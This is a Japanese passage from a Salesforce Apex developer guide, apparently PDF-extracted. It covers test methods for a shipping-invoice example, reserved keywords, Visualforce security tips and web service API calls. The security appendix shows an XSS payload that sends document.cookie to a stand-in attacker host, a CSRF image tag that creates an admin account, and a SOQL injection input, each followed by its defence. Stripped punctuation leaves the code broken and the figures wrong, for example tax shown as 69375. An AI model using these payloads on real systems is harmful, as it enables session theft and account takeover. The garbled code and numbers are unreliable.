注文を挿入し項目を入力します insert Order1 ListltItem__cgt list1 = new ListltItem__cgt()Item__c item1 = new Item__C(Price__c = 1 weight__c = 1 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c item2 = new Item__C(Price__c = 2 weight__c = 2 quantity__c = 1Shipping_Invoice__C = order1id) Item__c item3 = new Item__C(Price__c = 4 weight__c = 3quantity__c = 1 Shipping_Invoice__C = order1id) list1add(item1) list1add(item2)list1add(item3) insert list1

3 つの項目の価格を更新します list1[0]price__c = 10 list1[1]price__c = 25 list1[2]price__c= 40 update list1

注文にアクセスし更新された項目を確認します order1 = [SELECT id subtotal__c tax__cshipping__c totalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__CWHERE id = order1id]

Systemassert(order1subtotal__c == 75 Order subtotal was not $75 but was +order1subtotal__c) Systemassert(order1tax__c == 69375 Order tax was not $69375 butwas + order1tax__c) Systemassert(order1shipping__c == 450 Order shipping was not$450 but was + order1shipping__c) Systemassert(order1totalweight__c == 600 Orderweight was not 6 but was + order1totalweight__c) Systemassert(order1grandtotal__c== 864375 Order grand total was not $864375 but was + order1grandtotal__c)Systemassert(order1shippingdiscount__c == 0 Order shipping discount was not $0 but was + order1shippingdiscount__c)

無効な項目の公開静的 testmethod を削除することに対するテストを行います testBulkItemDelete()

納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = newShipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

注文を挿入し項目に入力します insert Order1 ListltItem__cgt list1 = new ListltItem__cgt()Item__c item1 = new Item__C(Price__c = 10 weight__c = 1 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c item2 = new Item__C(Price__c = 25 weight__c = 2 quantity__c = 1Shipping_Invoice__C = order1id) Item__c item3 = new Item__C(Price__c = 40 weight__c =3 quantity__c = 1 Shipping_Invoice__C = order1id) Item__c itemA = new Item__C(Price__c= 1 weight__c = 3 quantity__c = 1 Shipping_Invoice__C = order1id) Item__c itemB = newItem__C(Price__c = 1 weight__c = 3 quantity__c = 1 Shipping_Invoice__C = order1id)Item__c itemC = new Item__C(Price__c = 1 weight__c = 3 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c itemD = new Item__C(Price__c = 1 weight__c = 3 quantity__c = 1Shipping_Invoice__C = order1id) list1add(item1) list1add(item2) list1add(item3)list1add(itemA) list1add(itemB) list1add(itemC) list1add(itemD) insert list1

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 394

納入先請求書に 7 つの項目があります 次でそれらのうち 4 つを削除しますListltItem__cgt list2 =new ListltItem__cgt() list2add(itemA) list2add(itemB) list2add(itemC) list2add(itemD)delete list2

注文を取得し削除を確認します order1 = [SELECT id subtotal__c tax__c shipping__ctotalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__C WHERE id =order1id]

Systemassert(order1subtotal__c == 75 Order subtotal was not $75 but was +order1subtotal__c) Systemassert(order1tax__c == 69375 Order tax was not $69375 butwas + order1tax__c) Systemassert(order1shipping__c == 450 Order shipping was not$450 but was + order1shipping__c) Systemassert(order1totalweight__c == 600 Orderweight was not 6 but was + order1totalweight__c) Systemassert(order1grandtotal__c== 864375 Order grand total was not $864375 but was + order1grandtotal__c)Systemassert(order1shippingdiscount__c == 0 Order shipping discount was not $0 but was + order1shippingdiscount__c) Testing free shipping public static testmethod voidtestFreeShipping()

納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = newShipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

注文を挿入し項目を入力します insert Order1 ListltItem__cgt list1 = new ListltItem__cgt()Item__c item1 = new Item__C(Price__c = 10 weight__c = 1 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c item2 = new Item__C(Price__c = 25 weight__c = 2 quantity__c = 1Shipping_Invoice__C = order1id) Item__c item3 = new Item__C(Price__c = 40 weight__c =3 quantity__c = 1 Shipping_Invoice__C = order1id) list1add(item1) list1add(item2)list1add(item3) insert list1

注文を削除し送料無料が適用されないことを確認します order1 = [SELECT id subtotal__c tax__cshipping__c totalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__CWHERE id = order1id]

$75 の注文では送料無料は適用されません Systemassert(order1subtotal__c == 75 Order subtotalwas not $75 but was + order1subtotal__c) Systemassert(order1tax__c == 69375 Ordertax was not $69375 but was + order1tax__c) Systemassert(order1shipping__c == 450Order shipping was not $450 but was + order1shipping__c)Systemassert(order1totalweight__c == 600 Order weight was not 6 but was +order1totalweight__c) Systemassert(order1grandtotal__c == 864375 Order grand totalwas not $864375 but was + order1grandtotal__c) Systemassert(order1shippingdiscount__c== 0 Order shipping discount was not $0 but was + order1shippingdiscount__c)

項目を追加して小計を増やします item1 = new Item__C(Price__c = 25 weight__c = 20 quantity__c= 1 Shipping_Invoice__C = order1id) insert item1

注文を取得し送料無料が適用されることを確認します order1 = [SELECT id subtotal__c tax__cshipping__c totalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__CWHERE id = order1id]

注文の合計が $100 であるため送料無料となります Systemassert(order1subtotal__c == 100Order subtotal was not $100 but was + order1subtotal__c) Systemassert(order1tax__c== 925 Order tax was not $925 but was + order1tax__c)Systemassert(order1shipping__c == 1950 Order shipping was not $1950 but was +order1shipping__c) Systemassert(order1totalweight__c == 2600 Order weight was not26 but was + order1totalweight__c) Systemassert(order1grandtotal__c == 10925 Ordergrand total was not $864375 but was + order1grandtotal__c)Systemassert(order1shippingdiscount__c == -1950 Order shipping discount was not -$1950but was + order1shippingdiscount__c)

不正な入力公開静的 testmethod を挿入する負のテスト testNegativeTests()

納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = new

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 395

Shipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

注文を挿入し項目を入力します insert Order1 Item__c item1 = new Item__C(Price__c = -10weight__c = 1 quantity__c = 1 Shipping_Invoice__C = order1id) Item__c item2 = newItem__C(Price__c = 25 weight__c = -2 quantity__c = 1 Shipping_Invoice__C = order1id)Item__c item3 = new Item__C(Price__c = 40 weight__c = 3 quantity__c = -1Shipping_Invoice__C = order1id) Item__c item4 = new Item__C(Price__c = 40 weight__c =3 quantity__c = 0 Shipping_Invoice__C = order1id)

try insert item1 catch(Exception e) systemassert(egetMessage()contains(Price mustbe non-negative) Price was negative but was not caught)

try insert item2 catch(Exception e) systemassert(egetMessage()contains(Weightmust be non-negative) Weight was negative but was not caught)

try insert item3 catch(Exception e) systemassert(egetMessage()contains(Quantitymust be positive) Quantity was negative but was not caught)

try insert item4 catch(Exception e) systemassert(egetMessage()contains(Quantitymust be positive) Quantity was zero but was not caught)

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 396

付録

B予約キーワード

次の表はキーワードとして使用するために予約されそれ以外としては使用できない識別子を示しています

メモ アスタリスク () が付いたキーワードは今後の使用に予約されています

表 4 予約キーワード

retrievehavingabstractreturnhintactivatereturningifandrollbackimplementsanysavepointimportarraysearchinnerasselectinsertascsetinstanceofautonomousshortinterfacebeginsortintobigdecimalstatintblobsuperjoinbreakswitchlast_90_daysbulksynchronizedlast_monthbysystemlast_n_daysbytetestmethodlast_weekcasethenlikecastthislimitcatchthis_monthlistcharthis_weeklongclassthrowloopcollecttodaymapcommittolabelmergeconsttomorrownewcontinuetransactionnext_90_daysconvertcurrency

triggernext_monthdecimaltruenext_n_daysdefaulttrynext_weekdeletetypenotdescundeletenulldoupdatenullselseupsertnumberendusingobjectenumvirtualofexitwebserviceonexportwhenorextendswhereouterfalsewhileoverridefinalyesterdaypackagefinally

parallelfloatpragmaforprivatefromprotectedfuturepublicglobal

gotogroup

次の特別なキーワードを使用できます

bull afterbull beforebull countbull excludesbull firstbull includesbull lastbull orderbull sharingbull with

付録 B 予約キーワード Version 180 | | 398

付録

CApex 開発および Visualforce 開発のセキュリティのヒント

セキュリティとは

Apex および Visualforce ページの強力な組み合わせによりForcecom 開発者はSalesforcecom にカスタム機能およびビジネスロジックを提供またはForcecomプラットフォーム内部で実行するまったく新しい単独製品を作成することができますただしプログラミング言語と同様開発者はセキュリティ関連の不備について認識する必要があります

Salesforcecom は複数のセキュリティ防御を Forcecom プラットフォーム自体に統合しましたただし不注意な開発者は多くの場合に組み込み防御を回避しアプリケーションを顧客をセキュリティ上のリスクにさらしている場合があります開発者がForcecomプラットフォーム上で犯す多くのコーディングエラーは一般的なWebアプリケーションのセキュリティ脆弱性と類似しています一部のコーディングエラーはApex固有のものです

Forcecom AppExchange のアプリケーションを認証するには開発者はここで説明するセキュリティ上の弱点について学習および理解する必要があります

クロスサイトスクリプト (XSS)

クロスサイトスクリプト (XSS) の攻撃は悪意のある HTML またはクライアント側のスクリプトが Web アプリケーションに提供される幅広い範囲の攻撃となりますWeb アプリケーションにはWeb アプリケーションのユーザに対する悪意のあるスクリプトが含まれていますユーザは知らぬ間に攻撃の被害者となります攻撃者はWeb アプリケーションに対する被害者の信頼を利用し攻撃の媒体として Web アプリケーションを使用していますデータを適切に検証することなく動的 Web ページを表示する多くのアプリケーションは攻撃されやすいといえますWeb サイトに対する攻撃はあるユーザからの入力が別のユーザに表示されることを目的としている場合は特に単純です可能性として掲示板ユーザコメントスタイルの Web サイトニュースまたは電子メールアーカイブなどがあります

たとえば次のスクリプトがスクリプトコンポーネントonイベントまたは Visualforce ページを使用するForcecom ページに使用されているとします

ltscriptgtvar foo = $CurrentPageparametersuserparamscriptgtvar foo =$CurrentPageparametersuserparamltscriptgt

このスクリプトブロックはユーザが入力した userparamの値をページに挿入します攻撃者は userparamに次の値を入力することができます

1documentlocation=httpwwwattackercomcgi-bincookiecgi2Bdocumentcookievar20foo=2

この場合現在のページのすべての Cookies が cookiecgiスクリプトに対する要求のクエリ文字列としてwwwattackercomに送信されますこの時点で攻撃者は被害者のセッション Cookie を持っており彼らが被害者になりすまして Web アプリケーションに接続することができます

攻撃者はWeb サイトまたは電子メールを使用して悪意のあるスクリプトを送信できますWeb アプリケーションユーザは攻撃者の入力は確認できませんがブラウザは信頼されたコンテキストで攻撃者のスクリプトを実行できますこうした機能により攻撃者はさまざまな攻撃を被害者に対して行うことができます攻撃の範囲はウィンドウを開いたり閉じたりする単純なアクションからデータまたはセッションの Cookie を盗むなどのより悪意に満ちた攻撃にいたるまで幅広く被害者のセッションに対する攻撃者の完全アクセスを可能にします

こうした攻撃についての一般的な詳細は次の記事を参照してください

bull httpwwwowasporgindexphpCross_Site_Scriptingbull httpwwwcgisecuritycomarticlesxss-faqshtmlbull httpwwwowasporgindexphpTesting_for_Cross_site_scriptingbull httpwwwgooglecomsearchq=cross-site+scripting

Forcecom プラットフォーム内では複数の対 XSS 防御策が実行されていますたとえば多くの出力方法の有害な特性を除外するフィルタが実装されています標準クラスおよび出力方法を使用する開発者に対する XSSの脆弱性の脅威は大幅に緩和されていますただしクリエイティブな開発者はデフォルトのコントロールをわざとまたは偶然エスケープする方法を見つけることができます次のセクションでは保護されている場所保護されていない場所について説明しています

既存の保護

ltapexgtで始まるすべての標準 Visualforce コンポーネントでは対 XSS フィルタが設定されていますたとえばユーザに直接返されるユーザ指定の入力および出力を採用するため次のコードは通常 XSS の攻撃に対して脆弱ですがltapexoutputTextgtタグは XSS に対して安全ですHTML タグとされるすべての文字はリテラル形式に変換されますたとえばlt 文字は ampltに変換されユーザの画面上ではリテラル lt が表示されます

ltapexoutputTextgt $CurrentPageparametersuserInput ltapexoutputTextgt

Visualforce タグのエスケープの無効化

デフォルトではほぼすべての Visualforce タグは XSS に対して脆弱な文字をエスケープします省略可能な属性escape=falseを設定することによってこの動作を無効化することができますたとえば次の出力はXSS の攻撃に対して脆弱です

ltapexoutputText escape=false value=$CurrentPageparametersuserInput gt

XSS から保護されていないプログラミング項目

次の項目には XSS 保護を組み込んでいないためこれらのタグおよびオブジェクトを使用する場合は特別な保護を行う必要がありますこれはこれらの項目が開発者がスクリプトコマンドを挿入してページをカスタマ

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント Version 180 | クロスサイトスクリプト (XSS) | 400

イズできるようになっているためです意図的にページに追加されるコマンドに対 XSS フィルタを指定しても意味はありません

カスタム JavaScript

独自の JavaScript を作成した場合Forcecom プラットフォームにはユーザを保護する方法がありませんたとえば JavaScript で使用している場合次のコードは XSS の攻撃に対して脆弱です

ltscriptgt var foo = locationsearch documentwrite(foo) ltscriptgt

ltapexincludeScriptgt

ltapexincludeScriptgt Visualforce コンポーネントを使用してページにカスタムスクリプトを追加できますこうした場合内容が安全でユーザが提供したデータが含まれていないことを慎重に確認してくださいたとえば次のスニペットはスクリプトの値としてユーザ提供の入力が含まれているため特に脆弱ですタグによって指定された値は使用する JavaScript への URL です攻撃者がパラメータに任意のデータを入力できる場合 (下記の例参照)被害者に別のWeb サイトの JavaScript ファイルを使用するよう指示することができる可能性があります

ltapexincludeScript value=$CurrentPageparametersuserInput gt

Visualforce ページのエスケープされない出力と式

escape属性を false に設定するコンポーネントを使用する場合または Visualforce コンポーネント外の式を含む場合出力が検索されずセキュリティの検証が必要です数式を使用する場合特に重要です

数式は関数コールとなるかプラットフォームオブジェクトユーザの環境システム環境要求の環境に関する情報を含むことができます式で生成される出力が表示時にエスケープされないことを認識することが重要です数式がサーバに表示されるためJavaScript またはその他のクライアント側の技術を使用してクライアントの表示データをエスケープすることはできませんこれにより数式が非システムデータ (悪意のあるまたは編集可能なデータ) を参照し式自体が関数にラップされていない場合表示中に出力をエスケープするという危険な状況を誘発する場合があります

一般的な脆弱性はユーザ入力をページに表示する場合に発生します例

ltapexpage extensions=secure standardController=Accountgt ltapexformgt ltapexcommandButtonrerender=outputIt value=Update Itgt ltapexinputText value=myTextFieldgt ltapexformgt

ltapexoutputPanel id=outputItgt Value of myTextField is ltapexoutputText value=myTextField escape=falsegt ltapexoutputPanelgt ltapexpagegt

エスケープされない myTextFieldによってもクロスサイトスクリプトの脆弱性が誘発されますたとえば

ltscriptgtalert(xss)

を入力し[更新]をクリックするとJavaScript が実行されますこの場合アラートダイアログが表示されますが悪意のある使用が設定されている場合があります

安全でないと考えられる文字列をエスケープするために使用できる関数があります

付録 C Apex 開発および Visualforce 開発のセキュリティのヒントVersion 180 | Visualforce ページのエスケープされない出力と式 | 4 0 1

HTMLENCODE

HTMLENCODE 関数は大なり記号 (gt) などの HTML で予約されている文字をampgtなどの HTML エンティティ文字に置き換えHTML で使用するテキスト文字列や差し込み項目値をエンコードします

JSENCODE

新しい JSENCODE 関数はバックスラッシュ () のようなエスケープ文字をアポストロフィー () のような安全でない JavaScript 文字の前に挿入してJavaScript で使用するテキスト文字列や差し込み項目値をエンコードします

JSINHTMLENCODE

新しい JSINHTMLENCODE関数はエスケープ文字を安全でない JavaScript 文字の前に挿入しHTMLで予約されている文字を HTML エンティティ文字に置き換えてHTML タグ内の JavaScript で使用するテキスト文字列や差し込み項目値をエンコードします

URLENCODE

新しい URLENCODE 関数は空白などの URL では不正な文字を RFC 3986 Uniform Resource Identifier (URI)Generic Syntax で定義されているようにこうした文字を表すコードに置き換えURL で使用するテキスト文字列や差し込み項目をエンコードしますたとえば感嘆符は 21に置き換えられます

前述の例を保護するために HTMLENCODEを使用するにはltapexoutputTextgtを次のように変更します

ltapexoutputText value= HTMLENCODE(myTextField) escape=falsegt

ユーザが ltscriptgtalert(xss)を入力し[更新] をクリックしてもJavaScript は実行されません代わりに文字列がエンコードされページには Value of myTextField is ltscriptgtalert(xss)と表示されます

タグの投入およびデータの使用によってエスケープされた文字およびエスケープが必要な文字が異なりますたとえば次のような文の場合

ltscriptgtvar ret = $CurrentPageparametersretURLscriptgtvar ret =$CurrentPageparametersretURLltscriptgt

リンクで使用されるためURL では HTML エスケープ文字の の代わりに 22を使用して二重引用符をエスケープする必要がありますそうでない場合次のような要求

httpexamplecomdemoredirecthtmlretURL=22foo223Balert(xss)3B2F2F

では次のようになります

ltscriptgtvar ret = fooalert(xss)ltscriptgt

JavaScript が実行しアラートが表示されます

この場合JavaScript が実行されないようにするためにJSENCODE関数を使用します例

ltscriptgtvar ret = JSENCODE($CurrentPageparametersretURL)ltscriptgt

また数式タグを使用してプラットフォームオブジェクトデータを追加することもできますデータがユーザの組織から直接取得されますがデータをエスケープしてユーザが他のユーザ (権限レベルがより高いユーザ) のコンテキストでコードを実行できなくなりますこれらの種類の攻撃は同じ組織内のユーザによって実行され

付録 C Apex 開発および Visualforce 開発のセキュリティのヒントVersion 180 | Visualforce ページのエスケープされない出力と式 | 4 0 2

組織のユーザロールを弱体化しデータ監査の完全性を提言させてしまいますまた多くの組織には外部ソースからインポートされたデータがありますが悪意のあるコンテンツの除外が行われない場合があります

クロスサイトリクエストフォージェリ (CSRF)

クロスサイトリクエストフォージェリ (CSRF) の弱点は防御がなくプログラムエラーはそれほどありません単純な例を示して CSRF を説明します攻撃者が wwwattackercomに Web ページを持っているとしますこの Web ページはそのサイトへの通信量を実行する変数サービスまたは情報を提供するページなどです攻撃者のページの一部は次のような HTML タグです

ltimgsrc=httpwwwyourwebpagecomyourapplicationcreateuseremail=attackerattackercomamptype=adminheight=1 width=1 gt

つまり攻撃者のページにはWeb サイトでアクションを実行する URL が指定されています攻撃者の Webページにアクセスしたときにもまだユーザが Web ページにログインしている場合URL が取得されアクションが実行されますユーザの Web ページへの認証がこのときも行われているためこの攻撃は成功しますこれは非常に単純な例であり攻撃者はコールバック要求を生成するスクリプトを使用してよりコードにしたりAJAX メソッドに対して CSRF 攻撃を行うこともあります

詳細および従来の防御策は以下を参照してください

bull httpwwwowasporgindexphpCross-Site_Request_Forgerybull httpwwwcgisecuritycomarticlescsrf-faqshtmlbull httpshiflettorgarticlescross-site-request-forgeries

Forcecom プラットフォーム内ではこの攻撃を回避する対 CSRF トークンが実装されていますすべてのページに無作為の文字列が非表示形式項目として指定されています次のページが読み込まれるとアプリケーションはこの文字列の正当性を確認し値が予測される値に一致しない限りコマンドは実行されませんこの機能によりすべての標準コントローラおよびメソッドの使用時にユーザを保護します

ここでもやはり開発者はリスクを認識することなく組み込みの防御策をスキップしてしまう場合がありますたとえばオブジェクト ID を入力パラメータとして使用するカスタムコントローラがあるその入力パラメータを SOQL コールで使用するとします次のスニペットについて考えます

ltapexpage controller=myClass action=initltapexpagegt

public class myClass public void init() Id id =ApexPagescurrentPage()getParameters()get(id) Account obj = [select id Name FROMAccount WHERE id = id] delete obj return

この場合開発者は独自のアクションメソッドを開発して知らないうちに対 CSRF コントロールをスキップしてしまいますidパラメータはコードで読み込まれ使用されます対 CSRF トークンは読み込まれたり検証されたりしません攻撃者の Web ページはCSRF 攻撃を使用してユーザをこのページに使用して移動させidパラメータに彼らが望む値を提供します

このような状況に対する組み込み防御策がないため開発者は前例の id変数のようなユーザ指定のパラメータに基づいてアクションを実行するページの書き込みに対し注意する必要があります解決策としてアクションを起こす前に中間の確認ページを挿入しユーザがそのページを呼び出しているのか確認することがありますその他の提案としては組織のアイドルセッションのタイムアウトを短くする他のサイトにアクセスする場合は有効なセッションからログアウトし認証されたままそのブラウザを使用しないようにするなどです

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント Version 180 | クロスサイトリクエストフォージェリ( C S R F ) | 4 0 3

SOQL インジェクション

他のプログラミング言語ではこの弱点を SQL インジェクションといいますApex では SQL を使用しませんが独自のデータベースクエリ言語 SOQL を使用しますSOQL はSQL より単純で機能が制限されていますそのためSOQL インジェクションのリスクは SQL と比較して大幅に低くなりますが攻撃は従来の SQLインジェクションとほぼ同じです集計時はSQLSOQL インジェクションではユーザが提供した入力を取得しこれらの値を動的 SOQL クエリに使用します入力が検証されない場合SOQL ステートメントを効率的に変更する SOQL コマンドを指定しアプリケーションにトリックを仕掛けて意図しないコマンドを実行するようにします

SQL インジェクション攻撃の詳細は以下を参照してください

bull httpwwwowasporgindexphpSQL_injectionbull httpwwwowasporgindexphpBlind_SQL_Injectionbull httpwwwowasporgindexphpGuide_to_SQL_Injectionbull httpwwwgooglecomsearchq=sql+injection

Apex での SOQL インジェクションの脆弱性

以下に SOQL に対して脆弱な Apex コードおよび Visualforce の単純な例を示します

ltapexpage controller=SOQLController gt ltapexformgt ltapexoutputText value=名前を入力 gtltapexinputText value=name gt ltapexcommandButton value=Query action=queryldquo gtltapexformgt ltapexpagegt

public class SOQLController public String name get return name set name = value public PageReference query() String qryString = SELECT Id FROM Contact WHERE (IsDeleted= false and Name like + name + ) queryResult = Databasequery(qryString) returnnull

これは単純な例ですがロジックについて説明していますコードは削除されていない取引先責任者の検索を行うためのものですユーザは nameという入力値を指定します値はユーザが指定する任意の値で検証されませんSOQL クエリは動的に構築されDatabasequeryメソッドで実行されますユーザが正常な値を指定するとステートメントは次のとおり期待されたように実行されます

name = Bob sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like Bob)

ただし次のようにユーザが予期しない入力を指定したかのようになります

name = test) or (Name like

この場合クエリ文字列は次のようになります

SELECT Id FROM Contact WHERE (IsDeleted = false and Name like test) or (Name like )

結果には削除されていない取引先責任者だけでなくすべての取引先責任者が表示されますSOQL インジェクションにより脆弱なクエリの対象となるロジックを変更することができます

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント Version 180 | SOQL インジェクション | 404

SOQL インジェクションの防御策

SOQL インジェクションの攻撃を回避するには動的 SOQL クエリを使用しないようにします代わりに静的クエリとバインド変数を使用します上記の脆弱な例は次のように静的 SOQL を使用して書き直すことができます

public class SOQLController public String name get return name set name = value public PageReference query() String queryName = + name + queryResult = [SELECTId FROM Contact WHERE (IsDeleted = false and Name like queryName)] return null

動的 SOQL を使用する必要がある場合escapeSingleQuotesメソッドを使用してユーザ指定の入力を削除しますこのメソッドはエスケープキャラクター()を文字列内のユーザからパスされるすべてのシングルクォーテーションマークに追加しますメソッドはすべてのシングルクォーテーションマークがデータベースメソッドの代わりに文字列の囲みとして使われることを確実にします

データアクセスコントロール

Forcecom プラットフォームはデータ共有ルールを広範囲に使用します各オブジェクトにはユーザおよびプロファイルが読み取り作成編集削除できる一意の権限がありますこれらの制限はすべての標準コントローラを使用する場合に強制されます

Apex クラスを使用する場合組み込みプロファイル権限および項目レベルのセキュリティ制限は実行時重視されませんデフォルトの動作としてApex クラスに組織のすべてのデータを読み込み更新する機能がありますルールが強制実行されるわけではないためApex を使用する開発者はプロファイルに基づく権限項目レベルのセキュリティ組織のデフォルトなどにより通常はユーザから隠されている重要データをうっかり公開することがないように注意しなければなりませんこれは特にVisualforceページで当てはまりますたとえば次の Apex 擬似コードについて考えます

public class customController public void read() Contact contact = [Select id fromContact where Name = value]

この場合現在ログインしているユーザにこれらのレコードを表示する権限がない場合でもすべての取引先責任者レコードが検索されます解決策としてクラスを宣言する場合修飾キーワードのwith sharingを使用します

public with sharing class customController

with sharingキーワードを使用するとプラットフォームはすべてのレコードに完全アクセス権限を付与するのではなく現在ログインしているユーザのセキュリティ共有権限を使用します

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント Version 180 | データアクセスコントロール | 405

付録

DForcecom Web サービス API コールおよび Apex の SOAP ヘッ

この付録ではApex でデフォルトで使用可能な Web サービス API コールの詳細について説明します

メモ Apex クラスメソッドはカスタムの Forcecom Web サービス API コールとしての表示が可能ですこれにより外部アプリケーションが Apex Web サービスを実行しSalesforcecom でアクションを実行できるようになりますこれらのメソッドの定義には webServiceキーワードを使用します詳細は「WebServiceキーワードの使用における注意事項」 (ページ 171)を参照してください

Web サービス API コールを使用して保存されたすべての Apex スクリプトはAPI 要求のエンドポイントと同じバージョンの API を使用しますたとえばApex バージョン 180 を使用する場合次のようにエンドポイント180 を使用します

httpsna1-apisalesforcecomservicesSoaps180

既存の Apex IDE の拡張または実装に使用できるものも含めたすべての Web サービス API コールについての詳細はsalesforcecom の担当者にお問い合わせください

この付録では次の Web サービス API コールの詳細について説明します

bull compileAndTest()

bull compileClasses()

bull compileTriggers()

bull executeanonymous()

bull runTests()

次の SOAP ヘッダーを Apex の API コールで使用できます

bull DebuggingHeaderbull PackageVersionHeader

下記の 2 つのコールについては『Forcecom Metadata API Developers Guide』を参照してください

bull deploy()

bull retrieve()

compileAndTest()

単一のコールの Apex をコンパイルおよびテストします

構文

CompileAndTestResult[] = compileAndTest(CompileAndTestRequest request)

使用方法

このコールを使用して1 つのコールで指定した Apex をコンパイルおよびテストします運用組織 (DeveloperEdition または Sandbox Edition を使用していない) はcompileClasses()または compileTriggers()の代わりにこのコールを使用する必要があります

このコールはDebuggingHeader と SessionHeader をサポートしていますAPI の SOAP ヘッダーの詳細は『Forcecom Web Services API Developers Guide』を参照してください

指定されたすべてのテストに合格する必要があります合格しない場合データはデータベースに保存されませんこのコールが運用組織で呼び出されるとCompileAndTestRequest の RunTestsRequest プロパティは無視され組織で定義されたすべてのユニットテストが実行され合格する必要があります

サンプルコードmdashJava

次の例ではcheckOnlyを trueに設定してこのクラスがコンパイルおよびテストされますがクラスがデータベースに保存されないようにします

CompileAndTestRequest request CompileAndTestResult result = null

String triggerBody = trigger t1 on Account (before insert) + for(AccountaTriggernew) + adescription = t1_UPDATE +

String classToTestTriggerBody = public class TestT1 + public static testmethod voidtest1() + Account a = new Account(name=TEST) + insert(a) + a = [select iddescription from Account where id=aid] + Systemassert(adescriptioncontains(t1_UPDATE)) + +

String classBody = public class c1 + public static String s =HELLO + publicstatic testmethod void test1() + Systemassert(s==HELLO) + +

TEST チェック用のすべてのテスト要件を満たす 1 クラスのみをコンパイルします

request = new CompileAndTestRequest()

requestsetClasses(new String[] classBody classToTestTriggerBody )requestsetTriggers(new String[] triggerBody ) requestsetCheckOnly(true)

try result = apexBindingcompileAndTest(request) catch (RemoteException e) Systemoutprintln(An unexpected error occurred + egetMessage()) assert(resultisSuccess())

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | compileAndTest() | 407

引数

説明型Name

Apexおよびこの要求に設定する必要のある項目の値を含む要求

CompileAndTestRequestrequest

Response

CompileAndTestResult

CompileAndTestRequest

compileAndTest()コールにはこのオブジェクトが含まれApex についての情報がコンパイルされています

CompileAndTestRequest オブジェクトには次のプロパティがあります

説明型Name

trueに設定されている場合コードが正常にコンパイルされているかどうかユニットテストに合格しているかどうかに関係なく送信された Apex クラスおよびトリガは組織に保存されません

booleancheckOnly

コンパイルされるクラスの内容stringclasses

削除されるクラスの名前stringdeleteClasses

削除されるトリガの名前stringdeleteTriggers

テストする Apex の情報を指定します要求が運用組織に送信されるとこのプロパティは無視され組織全体のユニットテストがすべて実行されます

RunTestsRequestrunTestsRequest

コンパイルされるトリガの内容stringtriggers

このオブジェクトについては次の点に注意してください

bull このオブジェクトにはRunTestsRequestプロパティが含まれています要求が運用組織で実行されるとこのプロパティは無視されすべてのテストが実行されます

bull コンパイル削除テスト時にエラーが発生した場合または 75 のコード範囲の目標が達成されなかった場合クラスもトリガは組織に保存されませんこれはForcecom AppExchange パッケージテストと同じ要件です

bull すべてのトリガにはコード範囲がありますトリガにコード範囲がない場合クラスもトリガも組織には保存されません

CompileAndTestResult

compileAndTest()コールは成功または失敗など指定された Apex のコンパイルおよびユニットテストの実行に関する情報を返します

CompileAndTestResult オブジェクトには次のプロパティがあります

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | CompileAndTestRequest | 408

説明型Name

クラスがコンパイルされている場合compileAndTest()

コールの成功または失敗の情報CompileClassResultclasses

クラスが削除されている場合compileAndTest()コールの成功または失敗の情報

DeleteApexResultdeleteClasses

クラスが削除されている場合compileAndTest()トリガの成功または失敗の情報

DeleteApexResultdeleteTriggers

指定されている場合Apexユニットテストの成功または失敗の情報

RunTestsResultrunTestsResult

trueの場合指定されたすべてのクラストリガユニットテストが正常に実行されていますクラストリガまたはユ

booleansuccess

ニットテストが失敗した場合値はfalseで詳細は次のような対応する結果オブジェクトで報告されますbull CompileClassResultbull CompileTriggerResultbull DeleteApexResultbull RunTestsResult

トリガがコンパイルされている場合compileAndTest()

コールの成功または失敗の情報CompileTriggerResulttriggers

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

CompileClassResult

このオブジェクトはcompileAndTest()または compileClasses()コールの一部として返されます指定された Apex のコンパイルと実行が正常に行われたかどうかの情報が含まれています

CompileClassResult オブジェクトには次のプロパティがあります

説明型Name

クラスファイルまたはトリガファイルの CRC (周期的冗長チェック)intbodyCrc

エラーが発生した場合発生した列の番号intcolumn

コンパイルされた各クラスの ID が作成されますID は組織内で一意です

IDid

エラーが発生した場合発生した行の番号intline

クラスの名前ですstringname

エラーが発生した場合その問題の説明stringproblem

trueの場合コードは正常にコンパイルされていますfalseの場合問題はこのオブジェクトのその他のプロパティで指定されています

booleansuccess

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ Version 180 | CompileAndTestResult | 409

リンクから Forcecom Web Services APIDevelopers Guide にアクセスできます

CompileTriggerResult

このオブジェクトはcompileAndTest()または compileTriggers()コールの一部として返されます指定された Apex のコンパイルと実行が正常に行われたかどうかの情報が含まれています

CompileTriggerResult オブジェクトには次のプロパティがあります

説明型Name

トリガファイルの CRC (周期的冗長検査)intbodyCrc

エラーが発生した場合発生した列intcolumn

コンパイルされた各トリガの ID が作成されますID は組織内で一意です

IDid

エラーが発生した場合発生した行の番号intline

トリガの名前stringname

